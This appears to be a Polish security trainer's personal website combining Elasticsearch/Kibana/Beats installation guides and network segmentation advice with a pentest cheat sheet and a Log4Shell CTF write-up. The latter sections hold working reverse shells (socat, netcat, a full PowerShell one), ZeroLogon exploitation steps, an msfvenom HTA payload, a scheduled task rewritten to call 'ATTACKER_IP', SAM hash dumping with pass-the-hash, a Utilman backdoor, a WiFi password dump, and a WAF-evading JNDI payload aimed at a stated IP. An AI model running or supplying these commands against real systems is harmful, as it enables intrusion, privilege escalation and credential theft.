O mnie
Witajcie na mojej stronie internetowej.
Mam na imię Kamil mam 38 lat i mieszkam w Jordanowie. Z zawodu jestem informatykiem i interesuje się cyberbezpieczeństwem. Prowadzę też szkolenia cyberawareness dla pracowników, mam już za sobą ponad 200 godzin takich szkoleń.
Mam nadzieję, że znajdziecie tu dość interesujących informacji, by poświęcić mojej stronie choć chwilę swojego czasu.
Jeżeli macie jakieś sugestie, zapytania lub po prostu chcecie wysłać mi email w innej sprawie, proszę skorzystać z formularza kontaktowego umieszczonego w dziale "Kontakt".
Wybierz arta:
Wybierz arta:
Instalacja Elasticsearch 8 (Elastic+Kibana+Filebeat +Auditbeat+Packetbeat +Winlogbeat)
Wersja 8 elasticsearch wprowadza szyfrowaną komunikację na starcie, przez co inaczej wygląda konfiguracja kibany oraz beatsów.
Listnig istalacji dla ubuntu server 20.04:
-------ELASTICSEARCH-------
# wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
# echo "deb https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-8.x.list
--Dygresja--
Jeżeli mamy system z rodziny redhat to:
# sudo rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch
tworzymy plik /etc/yum.repos.d/elastic.repo
[elastic-8.x]
name=Elastic repository for 8.x packages
baseurl=https://artifacts.elastic.co/packages/8.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md
--Koniec dygresji--
# sudo apt-get update && sudo apt-get install elasticsearch
---info otrzymane po instalacji---
Authentication and authorization are enabled.
TLS for the transport and HTTP layers is enabled and configured.
The generated password for the elastic built-in superuser is : hasełko
If this node should join an existing cluster, you can reconfigure this with
'/usr/share/elasticsearch/bin/elasticsearch-reconfigure-node --enrollment-token '
after creating an enrollment token on your existing cluster.
You can complete the following actions at any time:
Reset the password of the elastic built-in superuser with
'/usr/share/elasticsearch/bin/elasticsearch-reset-password -u elastic'.
Generate an enrollment token for Kibana instances with
'/usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -s kibana'.
Generate an enrollment token for Elasticsearch nodes with
'/usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -s node'.
---info---
# vi /etc/elasticsearch/elasticsearch.yml
Usuwamy komentarze i zmieniamy:
network.host: 0.0.0.0 #nasłuch na wszystkich kartach sieciowych
# vi /etc/elasticsearch/jvm.options
Usuwamy komentarz i edytujemy JVM heap size
-Xms4g
-Xmx4g
# sudo systemctl enable elasticsearch
# sudo systemctl start elasticsearch
# systemctl status elasticsearch
# curl --cacert /etc/elasticsearch/certs/http_ca.crt -u elastic https://localhost:9200
podajemy hasełko
Generujemy CA do instalacji na klientach
# cd /etc/elasticsearch
# openssl x509 -fingerprint -sha256 -in certs/http_ca.crt
Wygenerowany cert zapisujemy do pliku ca.crt i dodajemy do zaufanych głównych urzędów certyfikacji na hostach
-------KIBANA-------
# sudo apt-get install kibana
# cd /usr/share/elasticsearch
# bin/elasticsearch-create-enrollment-token -s kibana
eyJ2ZX2M3MDhjZTdmNTE1uMCIIiOiI4LjAOjkyMDAkzYjgxY2IxNmFiXSwiZmdyIjoiMTA4ZGMyYThkZWUxYTI0YziNTE4OTc4ZTUzZTdiNjcyOGIzMsImFkciI6WyIxOTIuMTY4LjEwMS43ZGQ33NjM4OkdPQ3hrU2EzVC1hNmNhOCIsImtleSI6IjVyYzVBbjhCNVRPOG1kUHcVG0zYVQ2b3ktVncifQ==
# vi /etc/kibana/kibana.yml
server.host: "0.0.0.0"
# sudo /bin/systemctl daemon-reload
# sudo /bin/systemctl enable kibana.service
# sudo systemctl start kibana.service
http://ip_serwera:5601
wklejamy
eyJ2ZX2M3MDhjZTdmNTE1uMCIIiOiI4LjAOjkyMDAkzYjgxY2IxNmFiXSwiZmdyIjoiMTA4ZGMyYThkZWUxYTI0YziNTE4OTc4ZTUzZTdiNjcyOGIzMsImFkciI6WyIxOTIuMTY4LjEwMS43ZGQ33NjM4OkdPQ3hrU2EzVC1hNmNhOCIsImtleSI6IjVyYzVBbjhCNVRPOG1kUHcVG0zYVQ2b3ktVncifQ==
możliwe że będzie trzeba wygenerować kod
# cd /usr/share/kibana/bin
# ./kibana-verification-code
Generujemy klucze szyfrujące:
/usr/share/kibana/bin/kibana-encryption-keys generate -q
xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df
xpack.reporting.encryptionKey: 0d102bd90d3ed0a490f7f4709e5ba7d9
xpack.security.encryptionKey: 4262be905a346292d20a1156feb01b70
-------AUDITBEAT-------
# sudo apt-get install auditbeat
Żeby w pliku konfiguracyjnym nie trzymać haseł plaintextem należy utworzyć keystore
# auditbeat keystore add elastic
podajemy hasełko
# vi /etc/auditbeat/auditbeat.yml
setup.kibana:
host: "ip_serwera:5601"
output.elasticsearch:
hosts: ["https://ip_serwera:9200"]
username: "elastic"
password: "${elastic}"
output.elasticsearch.ssl.certificate_authorities: ["/etc/elasticsearch/certs/http_ca.crt"]
xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df
# auditbeat setup -e
# sudo systemctl enable auditbeat
# sudo systemctl start auditbeat
-------FILEBEAT-------
# sudo apt-get install filebeat
# filebeat keystore add elastic
podajemy hasełko
# vi /etc/filebeat/filebeat.yml
setup.kibana:
host: "ip_serwera:5601"
output.elasticsearch:
hosts: ["https://ip_serwera:9200"]
username: "elastic"
password: "${elastic}"
output.elasticsearch.ssl.certificate_authorities: ["/etc/elasticsearch/certs/http_ca.crt"]
xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df
włączamy monitorowanie apache
# filebeat modules enable apache
(możemy dodawać inne moduły - wyświetlenie listy:
konfiguracja monitorowania apache
# vi /etc/filebeat/modules.d/apache.yml
var.paths: ["/var/log/httpd/*access_log*"]
var.paths: ["/var/log/httpd/*error_log*"]
# filebeat setup -e
# sudo systemctl start filebeat
# sudo systemctl enable filebeat
-------PACKETBEAT-------
# sudo apt-get install libpcap0.8
# sudo apt-get install packetbeat
# packetbeat keystore add elastic
podajemy hasełko
# vi /etc/packetbeat/packetbeat.yml
packetbeat.interfaces.device: eth0 #możemy dać any
setup.kibana:
host: "ip_serwera:5601"
output.elasticsearch:
hosts: ["https://ip_serwera:9200"]
username: "elastic"
password: "${elastic}"
output.elasticsearch.ssl.certificate_authorities: ["/etc/elasticsearch/certs/http_ca.crt"]
xpack.encryptedSavedObjects.encryptionKey: d58d2c1da669cac8e7b75f92e501b0df
# packetbeat setup -e
# sudo systemctl enable packetbeat
# sudo systemctl start packetbeat
Instalacja Elasticsearch 7.x (ELK+KIBANA+Filebeat +Auditbeat+Packetbeat +Winlogbeat)
Głównymi komponentami ElastiStack są Elasticsearch czyli baza (wyszukiwarka i analityka) oraz Kibana czyli przeglądarkowe GUI do obsługi Elasticsearch. Do zbierania logów mamy:
- Filebeat - zbieranie logów
- Packetbeat - logi z protokołów sieciowych
- Auditbeat - zdarzenia security
- Winlogbeat - do zbierania logów z Windows
- Metribeat - do zbierania metryk np. obciążenia CPU)
W pierwszej kolejności należy zainstalować Elasticksearch ze strony https://www.elastic.co/downloads/elasticsearch wybieramy platformę ja wybrałem Ubuntu server czyli pakiet deb x86_64.
No to jazda
Na serwerze Ubuntu pobieramy ELK i instalujemy:
#wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-amd64.deb
#dpkg -i elasticsearch-7.16.3-amd64.deb
--Dygresja Instalacja z repozytoriów--
Jeśli chcemy instalować przez yum lub apt to:
# wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
# echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list
Jeżeli mamy system z rodziny redhat to:
# sudo rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch
tworzymy plik /etc/yum.repos.d/elastic.repo
[elastic-7.x]
name=Elastic repository for 7.x packages
baseurl=https://artifacts.elastic.co/packages/7.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md
#sudo apt update && sudo apt install elasticsearch
--Koniec dygresji--
Edytujemy pliki konfiguracyjne:
#vi /etc/elasticsearch/elasticsearch.yml
zmieniamy:
network.host: 0.0.0.0 #nasłuch na wszystkich kartach sieciowych
discovery.type: single-node #z uwagi na to że mamy pojedynczy węzeł Elasticsearch
Pora na Kibanę
Na serwerze Ubuntu pobieramy Kibanę i instalujemy:
#wget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-amd64.deb
#dpkg -i kibana-7.16.3-amd64.deb
Edytujemy pliki konfiguracyjne:
#vi /etc/kibana/kibana.yml
zmieniamy:
server.host: "0.0.0.0"
elasticsearch.hosts: ["http://ip_serwera:9200"]
Dodajemy serwisy do autostartu i je odpalamy:
#sudo systemctl enable elasticsearch
#sudo systemctl enable kibana
#sudo systemctl start elasticsearch
#sudo systemctl start kibana
Sprawdzamy czy jest wszystko jest ok:
#curl localhost:9200
Powinnyśmy dostać coś takiego jeśli Elasticsearch prawidłowo działa:
{
"name" : "siem",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "QNaiTtuPTaWgmDr9US09Bw",
"version" : {
"number" : "7.16.3",
"build_flavor" : "default",
"build_type" : "deb",
"build_hash" : "4e6e4eab2297e949ec994e688dad46290d018022",
"build_date" : "2022-01-06T23:43:02.825887787Z",
"build_snapshot" : false,
"lucene_version" : "8.10.1",
"minimum_wire_compatibility_version" : "6.8.0",
"minimum_index_compatibility_version" : "6.0.0-beta1"
},
"tagline" : "You Know, for Search"
}
Aby sprawdzić, czy Kibana działa odpalamy przeglądarkę wpisujemy adres ip naszego serwera i port 5601
Zabezpieczenie ELK i Kibany
Na obecnym poziomie brak jest jakiegokolwiek logowania do systemu, więc zanim zaczniemy zbierać logi dobrze jest coś z tym zrobić.
Do pliku /etc/elasticsearch/elasticsearch.yml dopisujemy na końcu:
xpack.security.enabled: true
xpack.security.authc.api_key.enabled: true
Restart Elasticsearch:
#service elasticsearch restart
Ustawiamy kredki do logowania dla modułów:
#cd /usr/share/elasticsearch/
#./bin/elasticsearch-setup-passwords interactive
Podajemy hasła dla poniższych modułów:
Enter password for [elastic]:
Enter password for [apm_system]:
Enter password for [kibana_system]:
Enter password for [logstash_system]:
Enter password for [beats_system]:
Enter password for [remote_monitoring_user]:
Aby użyć losowo wygenerowanych haseł :
#echo "y" | /usr/share/elasticsearch/bin/elasticsearch-setup-passwords auto
Pamiętaj, aby zapisać wszystkie te hasła, ponieważ są one potrzebne do późniejszego użycia
Sprawdzamy czy logowanie do ELK działa:
#curl -u elastic:hasełko localhost:9200
Teraz pora dodać do plików konfiguracyjnych kibany ustawione dane do logowania:
#vi /etc/kibana/kibana.yml
dopisujemy:
elasticsearch.username: "kibana_system"
elasticsearch.password: "haselko"
Powyższa metoda jest mało bezpieczna i zaleca się przechowywanie haseł w keystore:
#sudo -u kibana /usr/share/kibana/bin/kibana-keystore add kibana_system
w pliku kibana.yml
elasticsearch.password: "${kibana_system}"
Jeszcze potrzebny nam klucz szyfrowania, który generujemy poleceniem:
#/usr/share/kibana/bin/kibana-encryption-keys generate -q
Na końcu pliku kibana.yml dodajemy wartość z wygenerowanym kluczem:
xpack.encryptedSavedObjects.encryptionKey: wygenerowany_klucz
Restartukemy kibanę i możemy do niej się zalogować hasłem elastic
Odpalamy przeglądarkę i logujemy się do kibany. Powinno wszystko działać.
Wdrożenie https do kibany
Aby wszystko działało musimy mieć CA i wygenerowane certyfikaty dla elasticsearch i kibany.
Jeżeli mamy swóje CA sprawa jest prosta Windows serwer IIS -> Certyfikaty serwera -> Utwórz certyfikat domeny, uzupełniamy dane -> wybieramy urząd certyfikacji online i wpisujemy nazwę.
PPM na certyfikacie -> Eksport podajemy lokalizacje i hasło. Wygenerowany certyfikat pfx dla ELK kopiujemy na serwer ELK. Wracamy do IIS -> Witryny -> Edytuj witryny -> Powiązania -> dodaj i wpisujemy https adres ip serwera ELK port 9200, nazwę hosta i wybieramy świeżo wygenerowany certyfikat. To samo powtarzamy dla portu 5601.
Wracamy do serwera ELK
Plik pfx przenosimy do /etc/elasticsearch
#chown root:elasticsearch /etc/elasticsearch/cert.pfx
#chmod 660 /etc/elasticsearch/cert.pfx
#vi /etc/elasticsearch/elasticsearch.yml
i na końcu dopisujemy:
xpack.security.http.ssl.enabled: true
xpack.security.http.ssl.keystore.path: "cert.pfx"
xpack.security.http.ssl.keystore.password: ""
zapisujemy plik i restartujemy elasticsearch
#systemctl restart elasticsearch
Pora zrobić kibanę po https
#openssl pkcs12 -in elk.pfx -out cert.crt.pem -clcerts -nokeys
#openssl pkcs12 -in elk.pfx -out cert.key.pem -nocerts -nodes
#mv cert.* /etc/kibana
#cd /etc/kibana
#chown root:kibana /etc/kibana/cert.*
#chmod 660 /etc/kibana/cert*
#vi /etc/kibana/kibana.yml
elasticsearch.hosts: ["https://ip_serwera:9200"]
server.ssl.certificate: /etc/kibana/cert.crt.pem
server.ssl.key: /etc/kibana/cert.key.pem
elasticsearch.ssl.verificationMode: none
#systemctl restart kibana
i sprawdzamy w przeglądarce połączenie po https do kibany.
Jeżeli nie mamy swojego CA możemy utworzyć je w ELK do tego służy komenda:
#cd /usr/share/elasticsearch
#bin/elasticsearch-certutil ca
wpisujemy hasło dla naszego nowego CA
Generujemy cert:
#bin/elasticsearch-certutil cert --ca elastic-stack-ca.p12
reszta jak wyżej z tą różnicą, że mamy zamiast *.pfx *.p12
Wersja 8 elasticsearch wprowadza szyfrowaną komunikację na starcie, przez co inaczej wygląda konfiguracja kibany oraz beetsów.
Zbieramy logi
LINUX
Pobieramy moduły:
Instalujemy moduły:
#dpkg -i auditbeat-7.16.3-amd64.deb
#dpkg -i filebeat-7.16.3-amd64.deb
#dpkg -i packetbeat-7.16.3-amd64.deb
Modyfikujemy pliki konfiguracyjne:
#nano /etc/auditbeat/auditbeat.yml
#nano /etc/filebeat/filebeat.yml
#nano /etc/packetbeat/packetbeat.yml
w każdym z plików wprowadzamy zmiany:
setup.kibana.host: "ip_serwera:5601"
output.elasticsearch.hosts: ["ip_serwera:9200"]
output.elasticsearch wpisujemy:
username: "elastic"
password: "haselko"
dodatkowo tylko dla filebeat.yml:
filebeat.config.modules.reload.enabled: true
monitoring.enabled: true
Odpalamy moduły:
#auditbeat setup
#sudo systemctl enable auditbeat
#sudo systemctl start auditbeat
#filebeat setup
#filebeat modules enable system
#sudo systemctl enable filebeat
#sudo systemctl start filebeat
#packetbeat setup
#sudo systemctl enable packetbeat
#sudo systemctl start packetbeat
WINDOWS
Pobieramy moduły:
Instalujemy Winlogbeat i zmieniamy plik konfiguracyjny:
C:\ProgramData\Elastic\Beats\winlogbeat\winlogbeat.yml
setup.kibana.host: "ip_serwera:5601"
output.elasticsearch.hosts: ["ip_serwera:9200"]
output.elasticsearch wpisujemy:
username: "elastic"
password: "haselko"
Odpalamy moduły w powershellu:
PS: winlogbeat.cmd setup
PS: Start-Service winlogbeat
Z packetbeat jest więcej zabawy. Dodatkowo do zbierania danych z interfejsów sieciowych wymagana jest instalacja NPCAPa i wskazania z której karty będą zbierane logi.
Po instalacji przechodzimy sprawdzamy nr karty sieciowej:
C:\Program Files\Elastic\Beats\7.16.3\packetbeat>
PS: .\packetbeat.exe devices
zapamiętujemy numer, który przed kartą, którą chcemy monitorować
Zmieniamy plik konfiguracyjny:
C:\ProgramData\Elastic\Beats\packetbeat\packetbeat.yml
setup.kibana.host: "ip_serwera:5601"
output.elasticsearch.hosts: ["ip_serwera:9200"]
output.elasticsearch wpisujemy:
username: "elastic"
password: "haselko"
dodatkowo wpisujemy nr monitorowanej karty:
packetbeat.interfaces.device: 4
Plik yml przenosimy do C:\Program Files\Elastic\Beats\7.16.3\packetbeat i odpalamy setup:
PS .\packetbeat.exe setup -e
PS Start-Service packetbeat
Monitorowanie działa.
Wstęp do zabezpieczenia infrastruktury
Biorąc pod uwagę, że najsłabszym ogniwem systemu cyberbezpieczeństwa jest najczęściej człowiek i jeżeli wyeliminujemy z rozważań zero-day, to można przyjąć, że przed atakiem na infrastrukturę nie da się ochronić.
Jedynie co jako administrator systemów możemy zrobić to przyjąć do wiadomości, że prędzej czy później dojdzie do kompromitacji naszej infrastruktury oraz na tyle mocno utrudnić zadanie atakującemu, że odpuści i poszuka innego systemu, który może łatwo spenetrować.
Segmentacja sieci
Jedną z podstawowych „kłód pod nogi”, które możemy rzucić atakującemu jest segmentacja sieci. Jeżeli w naszej infrastrukturze mamy zastosowaną płaską architekturę to w przypadku ataku na jednego użytkownika, agresor bez problemu będzie mógł przeskoczyć zarówno na inne komputery jak i serwery w naszej sieci.
Przy segmentacji kluczowe jest dobre rozplanowanie podziału sieci. Trzeba zdecydować, które systemy muszą się ze sobą komunikować, a które nie. Należy jak najczęściej stosować jednokierunkową komunikację z ograniczeniami otwartych portów np. z podsieci z drukarkami nie musimy mieć dostępu do podsieci użytkowników, a w drugą stronę po co użytkownikowi dostęp http czy https do drukarki? Podobnie jeżeli np. komputer księgowości musi się połączyć do systemu księgowego to nie zezwalamy na pełny ruch między vlanami, a jedynie pozostawiamy otwarte niezbędne porty np. 1433 dla SQL.
Dobrze jest też podzielić naszą sieć z użytkownikami na pomniejsze vlany (np. stosując podział organizacyjny), jak również wydzielić odrębne sieci dla różnych typów urządzeń, np. drukarek, UPSów, kamer, wszak nie od dziś wiadomo, że tego typu urządzenia rzadko są aktualizowane przez producentów co czyni je podatnymi na ataki.
Jeżeli mamy serwery, które udostępniają usługi na zewnątrz powinniśmy my je trzymać w wydzielonej sieci DMZ, czy sieci, z której nie ma dostępu do sieci wewnętrznej naszej organizacji (jeżeli mamy kilka takich serwerów, dobrze każdy umieścić w odrębnym DMZcie.
Nie powinniśmy zapominać o stworzeniu wydzielonej sieci managmentowej, dzięki, której będziemy mieli dostęp do wszystkich naszych podsieci, taką sieć należy szczególnie chronić. W takiej sieci dobrze jest umieścić systemy monitorujące naszą infrastrukturę.
Należy też mieć wydzieloną sieć na backupy oraz najlepiej drugą zawierającą kopie naszych backupów.
cdn..., a już w krótce m.in:
- Honeypoty (nie tylko oprogramowanie)
- Monitorowanie sieci
- ...
Analiza PCAPÓW
Pokazuje wszystkie informacje o pliku pcap
# Capinfos <plik.pcap>
Pokazuje czas trwania pcapa, godzinę startu i zakończenia
# Capinfos -aeu <plik.pcap>
Analiza logów
# Cat <plik.log> | zeek-cut <nazwa kolumny> <nazwa kolumny> <nazwa kolumny> | sort -k 3 -nr | head
Reverse shell SOCAT
socat SSL enrcypr shell
# openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
# cat shell.key shell.crt > shell.pem
# socat OPENSSL-LISTEN:55,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0
na zaatakowanej maszynie
# socat OPENSSL:10.10.65.211:55,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
lub windows
# socat OPENSSL-LISTEN:55,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
cmd: socat OPENSSL:10.10.65.211:55,verify=0 -
Reverse shell NetCat
# sudo nc -lvnp 8080
na zaatakowanej maszynie
# nc 10.10.10.11 8080
powershell:
cmd: powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.11',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Wyszukiwanie binarek SUID
# find / -perm -u=s -type f 2>/dev/null
Co mogę odpalić jako root z konta usera
# sudo -l
ZeroLogon
# python3 -m pip install virtualenv
# python3 -m virtualenv impacketEnv
# qsource impacketEnv/bin/activate
# pip install git+https://github.com/SecureAuthCorp/impacket
# nmap -sC -sV ip.addr
# wget https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py
# phyton3 zeroLogon-NullPass.py dc.name ip.addr
# secretsdump.py -just-dc -no-pass dc.name\[email protected]
# evil-winrm -i ip.addr -u admin.account -H hash
Website emumeration
# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://google.com/FUZZ
# dirb http://google.com/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
# gobuster dir --url http://google.com/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
enumerowanie przez wyszukiwarki
https://github.com/aboul3la/Sublist3r
#./sublist3r.py -d google.pl
Utwardzanie nc po połączeniu $
# python3 -c "import pty; pty.spawn('/bin/bash')"
PS - wyciąganie haseł WIFI
PS: (netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name"
NMAP
sudo nmap -PR -sn IP/24 - ARP Scan
sudo nmap -PE -sn IP/24 - ICMP Echo Scan
sudo nmap -PP -sn IP/24 - ICMP Timestamp Scan
sudo nmap -PM -sn IP/24 - ICMP Address Mask Scan
sudo nmap -PS22,80,443 -sn IP/30 - TCP SYN Ping Scan
sudo nmap -PA22,80,443 -sn IP/30 - TCP ACK Ping Scan
sudo nmap -PU53,161,162 -sn IP/30 - UDP Ping Scan
-n - no DNS lookup
-R - reverse-DNS lookup for all hosts
-sn - host discovery only
HTA Window payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o payload.hta
nc -lvp 443
lub
msfconsole
use exploit/windows/misc/hta_server
set LHOST 1.2.3.4
set LPORT 443
set SRVHOST 1.2.3.4
set payload windows/meterpreter/reverse_tcp
exploit
Windows hack
Historia powershell:
#type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Zapisane Credki:
#cmdkey /list
#runas /savecred /user:admin cmd.exe
IIS password:
#type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Wyciąg Pass z puttego:
#reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "ProxyPassword" /s
Task scheduled:
#schtasks /query
#schtasks /query /tn TASK_NAME /fo list /v
jak mamy jakiegoś bata to zmieniamy na rev_shell:
#echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
#schtasks /run /tn vulntask
Sprawdzanie uprawnień
#whoami /priv
Pass-the-Hash attack:
cmd z kontem gdzie się da:
#reg save hklm\system D:\system.hive
#reg save hklm\system D:\sam.hive
potem na kali:
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
mamy hashe:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5:::
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 [email protected]
Utilman Hack:
cmd:
#takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user xxx\xxx
#icacls C:\Windows\System32\Utilman.exe /grant nasz_user:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
#C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
Start -> Zablokuj, klikamy w ustawienia dostępu i mamy cmd z adminem.
Wykorzystywane narzędzia:
BEZPŁATNE LABS DO PRZETESTOWANIA UMIEJĘTNOŚCI PENTEST/CT
Writeup Log4j na konkurs z okazji Admin Days 2022
https://wladcysieci.pl/2022/03/22/konkurs-log4shell-z-admin-days-2022/
Cel: Należy wyciągnąć nazwę ostatniego użytkownika z /etc/passwd/ wykorzystując podatność log4j
Aplikacja do zaatakowania dostępna pod adresem: 34.118.109.39:9000
Jeśli ktoś chce potestować podatność, a powyższa maszyna będzie już wyłączona, może zaciągnąć obraz dockera i go opalić lokalnie:
sudo docker run --rm -it -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Writeup tylko do celów edukacyjnych i testowania podatności w swoich systemach lub systemach, co do których posiada się zgodę na testy.
Zaczynamy:
Co potrzebne:
- maszyna z Kali lub Parrotem
- exploit GitHub - kni9ht/LOg4j-poc
- Na zewnątrz będziemy wystawiać trzy porty więc na firewallu trzeba je otworzyć (dla bezpieczeństwa lepiej nie otwierać portów na cały świat, a jedynie na atakowaną maszynę). Potrzebne porty to: port 8080 dla www (do pobrania exploita przez podatną apkę), port 4444 do nasłuchiwania dla netcata oraz port 1389 dla ldapa.(w pyrzpadku ataku na lokalną maszynę portów nie wystawiamy na zewnątrz:))
Pierwsze odpalamy netcata:
nc -lvnp 4444
rozpakowujemy nasz exploit i go uruchamiamy podając ip maszyny z której atakujemy
# unzip JNDIExploit.v1.2.zip
# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.20.20.10
przechodzimy na stronę https://www.revshells.com i generujemy payload wpisując adres ip maszyny z której atakujemy (10.20.20.10) oraz port nasłuchu netcata (4444) formę payloadu wybieramy "nc mkfifo".
Payload powinien wyglądać podobnie do: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.20.20.10 4444 >/tmp/f"
Na cyberchef zamienamy payload na base64 https://gchq.github.io/CyberChef/
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjIwLjIwLjEwIDQ0NDQgPi90bXAvZg==
Czas na atak czyli wysyłkę curlem naszego payloadu i przejęcie maszyny, ale zanim to zrobimy to trzeba oszukać systemy bezpieczeństwa np. WAF, które wyszukują słów kluczowych i blokują atak:
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
# curl -H 'User-Agent: ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://10.20.20.10:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjIwLjIwLjEwIDQ0NDQgPi90bXAvZg==}' 34.118.109.39:9000
Udało się mamy shella, pozostał ostatni krok zobycie nazwy ostatniego usera
# cat /etc/passwd
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
H4ck4Fun4ndPl3a5ur3:x:1000:1000:Linux User,,,:/home/hack:
Kontakt
Kontakt
Twoja wiadomość została wysłana
Elements
Text
This is bold and this is strong. This is italic and this is emphasized.
This is superscript text and this is subscript text.
This is underlined and this is code: for (;;) { ... }
. Finally, this is a link.
Heading Level 2
Heading Level 3
Heading Level 4
Heading Level 5
Heading Level 6
Blockquote
Fringilla nisl. Donec accumsan interdum nisi, quis tincidunt felis sagittis eget tempus euismod. Vestibulum ante ipsum primis in faucibus vestibulum. Blandit adipiscing eu felis iaculis volutpat ac adipiscing accumsan faucibus. Vestibulum ante ipsum primis in faucibus lorem ipsum dolor sit amet nullam adipiscing eu felis.
Preformatted
i = 0;
while (!deck.isInOrder()) {
print 'Iteration ' + i;
deck.shuffle();
i++;
}
print 'It took ' + i + ' iterations to sort the deck.';
Lists
Unordered
- Dolor pulvinar etiam.
- Sagittis adipiscing.
- Felis enim feugiat.
Alternate
- Dolor pulvinar etiam.
- Sagittis adipiscing.
- Felis enim feugiat.
Ordered
- Dolor pulvinar etiam.
- Etiam vel felis viverra.
- Felis enim feugiat.
- Dolor pulvinar etiam.
- Etiam vel felis lorem.
- Felis enim et feugiat.
Icons
Actions
Table
Default
Name |
Description |
Price |
Item One |
Ante turpis integer aliquet porttitor. |
29.99 |
Item Two |
Vis ac commodo adipiscing arcu aliquet. |
19.99 |
Item Three |
Morbi faucibus arcu accumsan lorem. |
29.99 |
Item Four |
Vitae integer tempus condimentum. |
19.99 |
Item Five |
Ante turpis integer aliquet porttitor. |
29.99 |
|
100.00 |
Alternate
Name |
Description |
Price |
Item One |
Ante turpis integer aliquet porttitor. |
29.99 |
Item Two |
Vis ac commodo adipiscing arcu aliquet. |
19.99 |
Item Three |
Morbi faucibus arcu accumsan lorem. |
29.99 |
Item Four |
Vitae integer tempus condimentum. |
19.99 |
Item Five |
Ante turpis integer aliquet porttitor. |
29.99 |
|
100.00 |